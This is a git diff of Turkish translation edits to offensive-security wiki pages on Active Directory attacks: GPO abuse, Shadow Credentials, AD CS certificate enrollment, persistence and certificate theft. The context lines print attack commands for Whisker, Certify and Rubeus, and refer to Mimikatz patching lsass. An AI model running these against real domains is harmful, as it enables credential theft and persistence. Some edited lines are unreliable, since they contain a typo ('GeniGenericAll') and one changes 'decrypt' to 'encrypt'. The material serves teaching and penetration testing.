bir GPO için Zamanlanmış Görevler incelendiğinde, `Misconfigured Policy` gibi görevlerin eklenmesi gibi durumlar doğrulanabilir. Bu görevler, sistem davranışını değiştirmeyi veya ayrıcalıkları artırmayı amaçlayan betikler veya komut satırı araçları aracılığıyla oluşturulur. +Belirli bir GPO için Zamanlanmış Görevler incelendiğinde, `Misconfigured Policy` gibi görevlerin eklenmesi gibi `evilTask` gibi görevlerin varlığı doğrulanabilir. Bu görevler, sistem davranışını değiştirmek veya ayrıcalıkları artırmak amacıyla betikler veya komut satırı araçları aracılığıyla oluşturulur. -`New-GPOImmediateTask` tarafından oluşturulan XML yapılandırma dosyasında gösterildiği gibi, görevin yapısı zamanlanmış görevin ayrıntılarını - yürütülecek komut ve tetikleyicileri - özetler. Bu dosya, zamanlanmış görevlerin GPO'lar içinde nasıl tanımlandığını ve yönetildiğini temsil eder ve politika uygulaması kapsamında rastgele komutların veya betiklerin yürütülmesi için bir yöntem sağlar. +`New-GPOImmediateTask` tarafından oluşturulan XML yapılandırma dosyasında gösterildiği gibi, görevin yapısı zamanlanmış görevin ayrıntılarını - yürütülecek komut ve tetikleyicileri - özetler. Bu dosya, zamanlanmış görevlerin GPO'lar içinde nasıl tanımlandığını ve yönetildiğini temsil eder ve politika uygulaması kapsamında rastgele komutlar veya betikler yürütme yöntemi sağlar. ### Kullanıcılar ve Gruplar -GPO'lar, hedef sistemlerde kullanıcı ve grup üyeliklerinin manipülasyonuna da olanak tanır. Kullanıcılar ve Gruplar politika dosyalarını doğrudan düzenleyerek, saldırganlar yerel `administrators` grubu gibi ayrıcalıklı gruplara kullanıcı ekleyebilir. Bu, GPO yönetim izinlerinin devredilmesi yoluyla mümkündür; bu da politika dosyalarının yeni kullanıcılar eklemek veya grup üyeliklerini değiştirmek için değiştirilmesine izin verir. +GPO'lar, hedef sistemlerde kullanıcı ve grup üyeliklerinin manipülasyonuna da olanak tanır. Kullanıcılar ve Gruplar politika dosyalarını doğrudan düzenleyerek, saldırganlar yerel `administrators` grubu gibi ayrıcalıklı gruplara kullanıcı ekleyebilir. Bu, GPO yönetim izinlerinin devredilmesi yoluyla mümkündür; bu, politika dosyalarının yeni kullanıcılar eklemek veya grup üyeliklerini değiştirmek için değiştirilmesine izin verir. Kullanıcılar ve Gruplar için XML yapılandırma dosyası, bu değişikliklerin nasıl uygulandığını özetler. Bu dosyaya girişler ekleyerek, belirli kullanıcılara etkilenen sistemler üzerinde yükseltilmiş ayrıcalıklar verilebilir. Bu yöntem, GPO manipülasyonu yoluyla ayrıcalık artırma için doğrudan bir yaklaşım sunar. -Ayrıca, kod yürütme veya kalıcılığı sağlama için ek yöntemler, oturum açma/kapama betiklerini kullanma, otomatik çalıştırmalar için kayıt defteri anahtarlarını değiştirme, .msi dosyaları aracılığıyla yazılım yükleme veya hizmet yapılandırmalarını düzenleme gibi yöntemler de dikkate alınabilir. Bu teknikler, GPO'ların kötüye kullanılması yoluyla hedef sistemlere erişimi sürdürmek ve kontrol etmek için çeşitli yollar sunar. +Ayrıca, kod yürütme veya sürekliliği sağlama için ek yöntemler, oturum açma/kapatma betiklerini kullanma, otomatik çalıştırmalar için kayıt defteri anahtarlarını değiştirme, .msi dosyaları aracılığıyla yazılım yükleme veya hizmet yapılandırmalarını düzenleme gibi yöntemler de dikkate alınabilir. Bu teknikler, GPO'ların kötüye kullanılması yoluyla hedef sistemlere erişimi sürdürme ve kontrol etme için çeşitli yollar sunar. ## Referanslar diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md index cea9991c3..fe283a2c1 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md @@ -8,25 +8,25 @@ **Özet**: Eğer bir kullanıcı/bilgisayarın **msDS-KeyCredentialLink** özelliğine yazabiliyorsanız, o nesnenin **NT hash'ini** alabilirsiniz. -Gönderide, hedefin NTLM hash'ini içeren benzersiz bir **Service Ticket** almak için **public-private key authentication credentials** kurma yöntemi özetlenmiştir. Bu süreç, şifrelenmiş NTLM_SUPPLEMENTAL_CREDENTIAL'in deşifre edilebileceği Privilege Attribute Certificate (PAC) içinde yer alır. +Gönderide, hedefin NTLM hash'ini içeren benzersiz bir **Servis Bileti** almak için **açık-özel anahtar kimlik doğrulama kimlik bilgileri** kurma yöntemi özetlenmiştir. Bu süreç, şifrelenmiş NTLM_SUPPLEMENTAL_CREDENTIAL'in deşifre edilebileceği Privilege Attribute Certificate (PAC) içinde yer alır. ### Gereksinimler -Bu tekniği uygulamak için belirli koşulların sağlanması gerekmektedir: +Bu tekniği uygulamak için belirli koşulların sağlanması gerekir: -- En az bir Windows Server 2016 Domain Controller gereklidir. -- Domain Controller'da bir sunucu kimlik doğrulama dijital sertifikası yüklü olmalıdır. +- En az bir Windows Server 2016 Etki Alanı Denetleyicisi gereklidir. +- Etki Alanı Denetleyicisinde bir sunucu kimlik doğrulama dijital sertifikası yüklü olmalıdır. - Active Directory, Windows Server 2016 Fonksiyonel Seviyesinde olmalıdır. - Hedef nesnenin msDS-KeyCredentialLink niteliğini değiştirmek için yetkilendirilmiş bir hesaba ihtiyaç vardır. ## Abuse -Bilgisayar nesneleri için Key Trust'ın kötüye kullanımı, Ticket Granting Ticket (TGT) ve NTLM hash'ini elde etmenin ötesinde adımları kapsamaktadır. Seçenekler şunlardır: +Bilgisayar nesneleri için Anahtar Güveni istismarı, Ticket Granting Ticket (TGT) ve NTLM hash'ini elde etmenin ötesinde adımları içerir. Seçenekler şunlardır: -1. Hedef makinede ayrıcalıklı kullanıcılar olarak hareket etmek için bir **RC4 gümüş bileti** oluşturmak. -2. **S4U2Self** ile TGT'yi kullanarak **ayrıcalıklı kullanıcıların** taklit edilmesi, hizmet adını eklemek için Service Ticket'ta değişiklikler gerektirir. +1. Hedef ana bilgisayarda ayrıcalıklı kullanıcılar olarak hareket etmek için bir **RC4 gümüş bileti** oluşturmak. +2. **S4U2Self** ile TGT'yi kullanarak **ayrıcalıklı kullanıcıların** taklit edilmesi, servis adını eklemek için Servis Biletinde değişiklikler gerektirir. -Key Trust kötüye kullanımının önemli bir avantajı, saldırgan tarafından üretilen özel anahtarla sınırlı olmasıdır; bu, potansiyel olarak savunmasız hesaplara devredilmesini önler ve kaldırılması zor olabilecek bir bilgisayar hesabı oluşturulmasını gerektirmez. +Anahtar Güveni istismarının önemli bir avantajı, saldırgan tarafından üretilen özel anahtarla sınırlı olmasıdır; bu, potansiyel olarak savunmasız hesaplara devredilmesini önler ve kaldırılması zor olabilecek bir bilgisayar hesabı oluşturulmasını gerektirmez. ## Tools @@ -39,7 +39,7 @@ Bu saldırı için bir C# arayüzü sağlayan DSInternals'a dayanmaktadır. Whis - **Ekle**: Bir anahtar çifti oluşturur ve bir anahtar kimlik bilgisi ekler. - **Listele**: Tüm anahtar kimlik bilgisi girişlerini görüntüler. - **Kaldır**: Belirtilen bir anahtar kimlik bilgisini siler. -- **Temizle**: Tüm anahtar kimlik bilgilerini siler, bu da meşru WHfB kullanımını potansiyel olarak kesintiye uğratabilir. +- **Temizle**: Tüm anahtar kimlik bilgilerini siler, bu da meşru WHfB kullanımını bozabilir. ```shell Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1 ``` diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates.md b/src/windows-hardening/active-directory-methodology/ad-certificates.md index 5297901cf..fce82c106 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates.md @@ -8,24 +8,24 @@ - Sertifikanın **Sahibi**, sertifikanın sahibini belirtir. - **Açık Anahtar**, sertifikayı gerçek sahibine bağlamak için özel bir anahtarla eşleştirilir. -- **Geçerlilik Süresi**, **NotBefore** ve **NotAfter** tarihleriyle tanımlanır ve sertifikanın etkin süresini işaret eder. +- **Geçerlilik Süresi**, **NotBefore** ve **NotAfter** tarihleri ile tanımlanır ve sertifikanın etkin süresini işaret eder. - Sertifikayı tanımlayan benzersiz bir **Seri Numarası**, Sertifika Otoritesi (CA) tarafından sağlanır. - **Verici**, sertifikayı veren CA'yı ifade eder. - **SubjectAlternativeName**, kimlik tanımlama esnekliğini artırarak konu için ek adlar sağlar. - **Temel Kısıtlamalar**, sertifikanın bir CA veya son varlık için olup olmadığını belirler ve kullanım kısıtlamalarını tanımlar. - **Genişletilmiş Anahtar Kullanımları (EKU'lar)**, sertifikanın belirli amaçlarını, örneğin kod imzalama veya e-posta şifreleme, Nesne Tanımlayıcıları (OID'ler) aracılığıyla belirler. - **İmza Algoritması**, sertifikayı imzalamak için kullanılan yöntemi belirtir. -- **İmza**, vericinin özel anahtarıyla oluşturulur ve sertifikanın doğruluğunu garanti eder. +- **İmza**, vericinin özel anahtarı ile oluşturulur ve sertifikanın doğruluğunu garanti eder. ### Özel Hususlar -- **Subject Alternative Names (SAN'lar)**, bir sertifikanın birden fazla kimliğe uygulanabilirliğini genişletir, bu da birden fazla alan adı olan sunucular için kritik öneme sahiptir. Güvenli verilme süreçleri, saldırganların SAN spesifikasyonunu manipüle etmesiyle kimlik taklit risklerini önlemek için hayati öneme sahiptir. +- **Subject Alternative Names (SAN'lar)**, bir sertifikanın birden fazla kimliğe uygulanabilirliğini genişletir, bu da birden fazla alan adı olan sunucular için kritik öneme sahiptir. Güvenli verilme süreçleri, saldırganların SAN spesifikasyonunu manipüle ederek kimlik taklidi risklerini önlemek için hayati öneme sahiptir. -### Aktif Dizin (AD) İçindeki Sertifika Otoriteleri (CA'lar) +### Aktif Dizin (AD) İçindeki Sertifika Otoriteleri (CA) AD CS, AD ormanında CA sertifikalarını belirlenmiş konteynerler aracılığıyla tanır; her biri benzersiz roller üstlenir: -- **Sertifika Otoriteleri** konteyneri, güvenilir kök CA sertifikalarını barındırır. +- **Sertifika Otoriteleri** konteyneri, güvenilir kök CA sertifikalarını tutar. - **Kayıt Hizmetleri** konteyneri, Kurumsal CA'lar ve sertifika şablonlarını detaylandırır. - **NTAuthCertificates** nesnesi, AD kimlik doğrulaması için yetkilendirilmiş CA sertifikalarını içerir. - **AIA (Otorite Bilgi Erişimi)** konteyneri, ara ve çapraz CA sertifikaları ile sertifika zinciri doğrulamasını kolaylaştırır. @@ -35,7 +35,7 @@ AD CS, AD ormanında CA sertifikalarını belirlenmiş konteynerler aracılığ 1. Talep süreci, istemcilerin bir Kurumsal CA bulmasıyla başlar. 2. Bir açık anahtar ve diğer detayları içeren bir CSR oluşturulur, ardından bir açık-özel anahtar çifti üretilir. 3. CA, mevcut sertifika şablonlarına karşı CSR'yi değerlendirir ve şablonun izinlerine dayanarak sertifikayı verir. -4. Onaylandığında, CA sertifikayı özel anahtarıyla imzalar ve istemciye geri gönderir. +4. Onaylandığında, CA sertifikayı özel anahtarı ile imzalar ve istemciye geri gönderir. ### Sertifika Şablonları @@ -49,11 +49,11 @@ Bir istemcinin sertifika talep edebilmesi için, **kayıt hakları** verilmelidi ### Şablon Kayıt Hakları -Bu haklar, belirli izinleri detaylandıran Erişim Kontrol Girişleri (ACE'ler) aracılığıyla belirtilir: +Bu haklar, izinleri detaylandıran Erişim Kontrol Girişleri (ACE'ler) aracılığıyla belirtilir: - **Sertifika-Kayıt** ve **Sertifika-Otomatik Kayıt** hakları, her biri belirli GUID'lerle ilişkilidir. - **GenişletilmişHaklar**, tüm genişletilmiş izinlere izin verir. -- **TamKontrol/GenericAll**, şablon üzerinde tam kontrol sağlar. +- **TamKontrol/GeniGenericAll**, şablon üzerinde tam kontrol sağlar. ### Kurumsal CA Kayıt Hakları @@ -73,8 +73,8 @@ Sertifikalar şu yollarla talep edilebilir: 1. **Windows İstemci Sertifika Kayıt Protokolü** (MS-WCCE), DCOM arayüzlerini kullanarak. 2. **ICertPassage Uzak Protokolü** (MS-ICPR), adlandırılmış borular veya TCP/IP aracılığıyla. 3. **Sertifika kayıt web arayüzü**, Sertifika Otoritesi Web Kayıt rolü yüklü olduğunda. -4. **Sertifika Kayıt Servisi** (CES), Sertifika Kayıt Politikası (CEP) servisi ile birlikte. -5. **Ağ Cihazı Kayıt Servisi** (NDES), ağ cihazları için, Basit Sertifika Kayıt Protokolü (SCEP) kullanarak. +4. **Sertifika Kayıt Hizmeti** (CES), Sertifika Kayıt Politikası (CEP) hizmeti ile birlikte. +5. **Ağ Cihazı Kayıt Hizmeti** (NDES), ağ cihazları için, Basit Sertifika Kayıt Protokolü (SCEP) kullanarak. Windows kullanıcıları ayrıca GUI (`certmgr.msc` veya `certlm.msc`) veya komut satırı araçları (`certreq.exe` veya PowerShell'in `Get-Certificate` komutu) aracılığıyla sertifika talep edebilir. ```powershell @@ -95,11 +95,11 @@ güvenilirliği sağlamak için merkezi bir öneme sahiptir. ### Güvenli Kanal (Schannel) Kimlik Doğrulaması -Schannel, bir el sıkışma sırasında istemcinin, başarılı bir şekilde doğrulanırsa erişimi yetkilendiren bir sertifika sunduğu güvenli TLS/SSL bağlantılarını kolaylaştırır. Bir sertifikanın bir AD hesabına eşlenmesi, Kerberos'un **S4U2Self** işlevini veya sertifikanın **Subject Alternative Name (SAN)**'ini içeren diğer yöntemleri içerebilir. +Schannel, bir el sıkışma sırasında istemcinin, başarılı bir şekilde doğrulandığında erişimi yetkilendiren bir sertifika sunduğu güvenli TLS/SSL bağlantılarını kolaylaştırır. Bir sertifikanın bir AD hesabına eşlenmesi, Kerberos'un **S4U2Self** işlevini veya sertifikanın **Subject Alternative Name (SAN)**'ini içeren diğer yöntemleri içerebilir. ### AD Sertifika Hizmetleri Sayımı -AD'nin sertifika hizmetleri, **Enterprise Certificate Authorities (CAs)** ve bunların yapılandırmaları hakkında bilgi ortaya çıkaran LDAP sorguları aracılığıyla sayılabilir. Bu, özel ayrıcalıklara sahip olmadan herhangi bir alan kimlik doğrulamalı kullanıcı tarafından erişilebilir. **[Certify](https://github.com/GhostPack/Certify)** ve **[Certipy](https://github.com/ly4k/Certipy)** gibi araçlar, AD CS ortamlarında sayım ve güvenlik açığı değerlendirmesi için kullanılır. +AD'nin sertifika hizmetleri, **Enterprise Certificate Authorities (CAs)** ve bunların yapılandırmaları hakkında bilgi açığa çıkaran LDAP sorguları aracılığıyla sayılabilir. Bu, özel ayrıcalıklara sahip olmadan herhangi bir alan kimlik doğrulama kullanıcısı tarafından erişilebilir. **[Certify](https://github.com/GhostPack/Certify)** ve **[Certipy](https://github.com/ly4k/Certipy)** gibi araçlar, AD CS ortamlarında sayım ve güvenlik açığı değerlendirmesi için kullanılır. Bu araçları kullanmak için komutlar şunlardır: ```bash diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index ccfae6522..a7286c27d 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -13,7 +13,7 @@ - **Verici**, sertifikayı veren CA'yı ifade eder. - **SubjectAlternativeName**, kimlik tanımlama esnekliğini artırarak konu için ek adlar sağlar. - **Temel Kısıtlamalar**, sertifikanın bir CA veya son varlık için olup olmadığını tanımlar ve kullanım kısıtlamalarını belirler. -- **Genişletilmiş Anahtar Kullanımları (EKUs)**, sertifikanın belirli amaçlarını, örneğin kod imzalama veya e-posta şifreleme, Nesne Tanımlayıcıları (OIDs) aracılığıyla belirler. +- **Genişletilmiş Anahtar Kullanımları (EKUs)**, sertifikanın belirli amaçlarını, örneğin kod imzalama veya e-posta şifreleme gibi, Nesne Tanımlayıcıları (OIDs) aracılığıyla belirler. - **İmza Algoritması**, sertifikayı imzalamak için kullanılan yöntemi belirtir. - **İmza**, vericinin özel anahtarı ile oluşturulur ve sertifikanın doğruluğunu garanti eder. @@ -33,7 +33,7 @@ AD CS, AD ormanında CA sertifikalarını belirlenmiş konteynerler aracılığ ### Certificate Acquisition: Client Certificate Request Flow 1. İstek süreci, istemcilerin bir Kurumsal CA bulmasıyla başlar. -2. Bir kamu-özel anahtar çifti oluşturulduktan sonra, bir kamu anahtarı ve diğer detayları içeren bir CSR oluşturulur. +2. Bir kamu-özel anahtar çifti oluşturulduktan sonra, bir CSR oluşturulur; bu, bir açık anahtar ve diğer detayları içerir. 3. CA, mevcut sertifika şablonlarına karşı CSR'yi değerlendirir ve şablonun izinlerine dayanarak sertifikayı verir. 4. Onaylandığında, CA sertifikayı özel anahtarı ile imzalar ve istemciye geri gönderir. @@ -53,7 +53,7 @@ Bu haklar, izinleri detaylandıran Erişim Kontrol Girişleri (ACE'ler) aracıl - **Sertifika-Kayıt** ve **Sertifika-OtomatikKayıt** hakları, her biri belirli GUID'lerle ilişkilidir. - **GenişletilmişHaklar**, tüm genişletilmiş izinlere izin verir. -- **TamKontrol/GenişTüm**, şablon üzerinde tam kontrol sağlar. +- **TamKontrol/GenericAll**, şablon üzerinde tam kontrol sağlar. ### Enterprise CA Enrollment Rights @@ -73,8 +73,8 @@ Sertifikalar şu yöntemlerle talep edilebilir: 1. **Windows İstemci Sertifika Kayıt Protokolü** (MS-WCCE), DCOM arayüzlerini kullanarak. 2. **ICertPassage Uzak Protokolü** (MS-ICPR), adlandırılmış borular veya TCP/IP aracılığıyla. 3. **Sertifika kayıt web arayüzü**, Sertifika Otoritesi Web Kayıt rolü yüklü olduğunda. -4. **Sertifika Kayıt Hizmeti** (CES), Sertifika Kayıt Politikası (CEP) hizmeti ile birlikte. -5. **Ağ Cihazı Kayıt Hizmeti** (NDES), ağ cihazları için, Basit Sertifika Kayıt Protokolü (SCEP) kullanarak. +4. **Sertifika Kayıt Servisi** (CES), Sertifika Kayıt Politikası (CEP) servisi ile birlikte. +5. **Ağ Cihazı Kayıt Servisi** (NDES), ağ cihazları için, Basit Sertifika Kayıt Protokolü (SCEP) kullanarak. Windows kullanıcıları ayrıca GUI (`certmgr.msc` veya `certlm.msc`) veya komut satırı araçları (`certreq.exe` veya PowerShell'in `Get-Certificate` komutu) aracılığıyla sertifika talep edebilir. ```powershell diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md index ad4c8fc5d..b4ffbeaf2 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md @@ -12,13 +12,13 @@ Bir kullanıcının alan kimlik doğrulamasına izin veren bir sertifika talep e ```bash Certify.exe find /clientauth ``` -Bir sertifikanın gücünün, sertifikanın ait olduğu **kullanıcı olarak kimlik doğrulama** yeteneğinde yattığı, sertifika **geçerli** kaldığı sürece herhangi bir şifre değişikliğinden bağımsız olduğu vurgulanmaktadır. +Bir sertifikanın gücünün, sertifikanın ait olduğu **kullanıcı olarak kimlik doğrulama** yeteneğinde yattığı, sertifika **geçerli** kaldığı sürece herhangi bir şifre değişikliğinden bağımsız olarak vurgulanmaktadır. Sertifikalar, `certmgr.msc` kullanarak grafik arayüz üzerinden veya `certreq.exe` ile komut satırından talep edilebilir. **Certify** ile bir sertifika talep etme süreci aşağıdaki gibi basitleştirilmiştir: ```bash Certify.exe request /ca:CA-SERVER\CA-NAME /template:TEMPLATE-NAME ``` -Başarılı bir istek üzerine, bir sertifika ve onun özel anahtarı `.pem` formatında oluşturulur. Bunu Windows sistemlerinde kullanılabilir bir `.pfx` dosyasına dönüştürmek için aşağıdaki komut kullanılır: +Başarılı bir istek üzerine, `.pem` formatında bir sertifika ve ona ait özel anahtar oluşturulur. Bunu Windows sistemlerinde kullanılabilir bir `.pfx` dosyasına dönüştürmek için aşağıdaki komut kullanılır: ```bash openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx ``` @@ -26,11 +26,11 @@ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provid ```bash Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass! ``` -Önemli bir uyarı, bu tekniğin, **THEFT5** bölümünde belirtilen başka bir yöntemle birleştirildiğinde, bir saldırganın Hesapların **NTLM hash**'ini sürekli olarak elde etmesine olanak tanıdığı ve Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti (LSASS) ile etkileşime girmeden, yükseltilmemiş bir bağlamdan sağladığı, uzun vadeli kimlik bilgisi hırsızlığı için daha gizli bir yöntem sunduğunu paylaşmaktadır. +Önemli bir uyarı, bu tekniğin, **THEFT5** bölümünde belirtilen başka bir yöntemle birleştirildiğinde, bir saldırganın Hesapların **NTLM hash**'ini sürekli olarak elde etmesine olanak tanıdığı ve Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti (LSASS) ile etkileşime girmeden, yükseltilmemiş bir bağlamdan sağlam bir uzun vadeli kimlik bilgisi çalma yöntemi sunduğunu paylaşmaktadır. ## **Sertifikalar ile Makine Sürekliliği Elde Etme - PERSIST2** -Başka bir yöntem, ele geçirilmiş bir sistemin makine hesabını bir sertifika için kaydettirmeyi içerir; bu, böyle eylemlere izin veren varsayılan `Machine` şablonunu kullanır. Eğer bir saldırgan bir sistemde yükseltilmiş ayrıcalıklar elde ederse, sertifika talep etmek için **SYSTEM** hesabını kullanabilir ve bu da bir tür **süreklilik** sağlar: +Başka bir yöntem, tehlikeye atılmış bir sistemin makine hesabını bir sertifika için kaydettirmeyi içerir; bu, böyle eylemlere izin veren varsayılan `Machine` şablonunu kullanır. Eğer bir saldırgan bir sistemde yükseltilmiş ayrıcalıklar elde ederse, **SYSTEM** hesabını kullanarak sertifikalar talep edebilir ve bu da bir tür **süreklilik** sağlar: ```bash Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine ``` diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md index 9335f94ab..d64e7b6d4 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md @@ -18,11 +18,11 @@ $Cert.EnhancedKeyUsageList # cmd certutil.exe -dump -v cert.pfx ``` -## Sertifikaların Crypto API'leri Kullanılarak Dışa Aktarılması – THEFT1 +## Sertifikaları Crypto API'leri Kullanarak Dışa Aktarma – THEFT1 -Bir **etkileşimli masaüstü oturumu** sırasında, bir kullanıcı veya makine sertifikasını, özel anahtarıyla birlikte çıkarmak kolayca yapılabilir, özellikle de **özel anahtar dışa aktarılabilir** ise. Bu, `certmgr.msc`'de sertifikaya giderek, sağ tıklayıp `Tüm Görevler → Dışa Aktar` seçeneğini seçerek şifre korumalı bir .pfx dosyası oluşturmakla gerçekleştirilebilir. +Bir **etkileşimli masaüstü oturumu** sırasında, bir kullanıcı veya makine sertifikasını, özel anahtarıyla birlikte çıkarmak kolayca yapılabilir, özellikle de **özel anahtar dışa aktarılabilir** ise. Bu, `certmgr.msc` içinde sertifikaya giderek, sağ tıklayıp `Tüm Görevler → Dışa Aktar` seçeneğini seçerek şifre korumalı bir .pfx dosyası oluşturmakla gerçekleştirilebilir. -**Programatik bir yaklaşım** için, PowerShell `ExportPfxCertificate` cmdlet'i veya [TheWover’ın CertStealer C# projesi](https://github.com/TheWover/CertStealer) gibi araçlar mevcuttur. Bu araçlar, sertifika deposuyla etkileşimde bulunmak için **Microsoft CryptoAPI** (CAPI) veya Kriptografi API'si: Yeni Nesil (CNG) kullanır. Bu API'ler, sertifika depolama ve kimlik doğrulama için gerekli olanlar da dahil olmak üzere çeşitli kriptografik hizmetler sunar. +**Programatik bir yaklaşım** için, PowerShell `ExportPfxCertificate` cmdlet'i veya [TheWover’ın CertStealer C# projesi](https://github.com/TheWover/CertStealer) gibi araçlar mevcuttur. Bu araçlar, sertifika deposuyla etkileşimde bulunmak için **Microsoft CryptoAPI** (CAPI) veya Kriptografi API: Next Generation (CNG) kullanır. Bu API'ler, sertifika depolama ve kimlik doğrulama için gerekli olanlar da dahil olmak üzere çeşitli kriptografik hizmetler sunar. Ancak, bir özel anahtar dışa aktarılabilir olarak ayarlanmadıysa, hem CAPI hem de CNG genellikle bu tür sertifikaların çıkarılmasını engeller. Bu kısıtlamayı aşmak için, **Mimikatz** gibi araçlar kullanılabilir. Mimikatz, özel anahtarların dışa aktarımına izin vermek için ilgili API'leri yamanan `crypto::capi` ve `crypto::cng` komutları sunar. Özellikle, `crypto::capi` mevcut süreçte CAPI'yi yamarken, `crypto::cng` **lsass.exe**'nin belleğini yamanmayı hedefler. @@ -36,12 +36,12 @@ DPAPI hakkında daha fazla bilgi için: Windows'ta, **sertifika özel anahtarları DPAPI ile korunmaktadır**. **Kullanıcı ve makine özel anahtarları için depolama yerlerinin** farklı olduğunu ve dosya yapıların, işletim sistemi tarafından kullanılan kriptografik API'ye bağlı olarak değiştiğini anlamak önemlidir. **SharpDPAPI**, DPAPI blob'larını şifrelerini çözme sırasında bu farklılıkları otomatik olarak aşabilen bir araçtır. -**Kullanıcı sertifikaları** esasen `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates` altında kayıt defterinde bulunur, ancak bazıları `%APPDATA%\Microsoft\SystemCertificates\My\Certificates` dizininde de bulunabilir. Bu sertifikalar için ilgili **özel anahtarlar** genellikle **CAPI** anahtarları için `%APPDATA%\Microsoft\Crypto\RSA\User SID\` ve **CNG** anahtarları için `%APPDATA%\Microsoft\Crypto\Keys\` dizininde saklanır. +**Kullanıcı sertifikaları** esasen `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates` altında kayıt defterinde bulunur, ancak bazıları `%APPDATA%\Microsoft\SystemCertificates\My\Certificates` dizininde de bulunabilir. Bu sertifikalar için ilgili **özel anahtarlar** genellikle **CAPI** anahtarları için `%APPDATA%\Microsoft\Crypto\RSA\User SID\` ve **CNG** anahtarları için `%APPDATA%\Microsoft\Crypto\Keys\` içinde saklanır. Bir **sertifikayı ve ona bağlı özel anahtarı çıkarmak** için süreç şunları içerir: 1. Kullanıcının deposundan **hedef sertifikayı seçmek** ve anahtar deposu adını almak. -2. İlgili özel anahtarı şifre çözmek için gerekli DPAPI anahtarını **bulmak**. +2. İlgili özel anahtarı şifrelemek için gerekli DPAPI anahtarını **bulmak**. 3. Düz metin DPAPI anahtarını kullanarak **özel anahtarı şifre çözmek**. Düz metin DPAPI anahtarını **edinmek için** aşağıdaki yaklaşımlar kullanılabilir: @@ -62,7 +62,7 @@ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provid ``` ## Makine Sertifika Hırsızlığı DPAPI ile – THEFT3 -Windows tarafından `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` kayıt defterinde saklanan makine sertifikaları ve `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (CAPI için) ve `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (CNG için) konumunda bulunan ilgili özel anahtarlar, makinenin DPAPI anahtarları ile şifrelenmiştir. Bu anahtarlar, alanın DPAPI yedek anahtarı ile çözülemez; bunun yerine yalnızca SYSTEM kullanıcısının erişebildiği **DPAPI_SYSTEM LSA sırrı** gereklidir. +Windows tarafından `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` kayıt defterinde saklanan makine sertifikaları ve `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (CAPI için) ve `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (CNG için) konumlarındaki ilgili özel anahtarlar, makinenin DPAPI anahtarları ile şifrelenmiştir. Bu anahtarlar, alanın DPAPI yedek anahtarı ile çözülemez; bunun yerine yalnızca SYSTEM kullanıcısının erişebildiği **DPAPI_SYSTEM LSA sırrı** gereklidir. Manuel şifre çözme, **Mimikatz** içinde `lsadump::secrets` komutunu çalıştırarak DPAPI_SYSTEM LSA sırrını çıkarmak ve ardından bu anahtarı makine anahtarlarını şifre çözmek için kullanmakla gerçekleştirilebilir. Alternatif olarak, daha önce açıklandığı gibi CAPI/CNG yamanmasının ardından Mimikatz’ın `crypto::certificates /export /systemstore:LOCAL_MACHINE` komutu kullanılabilir. @@ -70,12 +70,12 @@ Manuel şifre çözme, **Mimikatz** içinde `lsadump::secrets` komutunu çalış ## Sertifika Dosyalarını Bulma – THEFT4 -Sertifikalar bazen dosya sisteminde, örneğin dosya paylaşımlarında veya İndirilenler klasöründe doğrudan bulunabilir. Windows ortamlarına yönelik en yaygın karşılaşılan sertifika dosyası türleri `.pfx` ve `.p12` dosyalarıdır. Daha az sıklıkla, `.pkcs12` ve `.pem` uzantılı dosyalar da görünmektedir. Diğer dikkat çekici sertifika ile ilgili dosya uzantıları şunlardır: +Sertifikalar bazen dosya paylaşımları veya İndirilenler klasörü gibi dosya sisteminde doğrudan bulunabilir. Windows ortamlarına yönelik en yaygın karşılaşılan sertifika dosyası türleri `.pfx` ve `.p12` dosyalarıdır. Daha az sıklıkla, `.pkcs12` ve `.pem` uzantılı dosyalar da görünmektedir. Diğer dikkat çekici sertifika ile ilgili dosya uzantıları şunlardır: - Özel anahtarlar için `.key`, - Sadece sertifikalar için `.crt`/`.cer`, - Sertifika İmzalama Talepleri için `.csr`, bu dosyalar sertifikalar veya özel anahtarlar içermez, -- Java uygulamaları tarafından kullanılan sertifikalar ile birlikte özel anahtarlar içerebilecek Java Keystore'ları için `.jks`/`.keystore`/`.keys`. +- Java uygulamaları tarafından kullanılan sertifikalar ile birlikte özel anahtarlar içerebilen Java 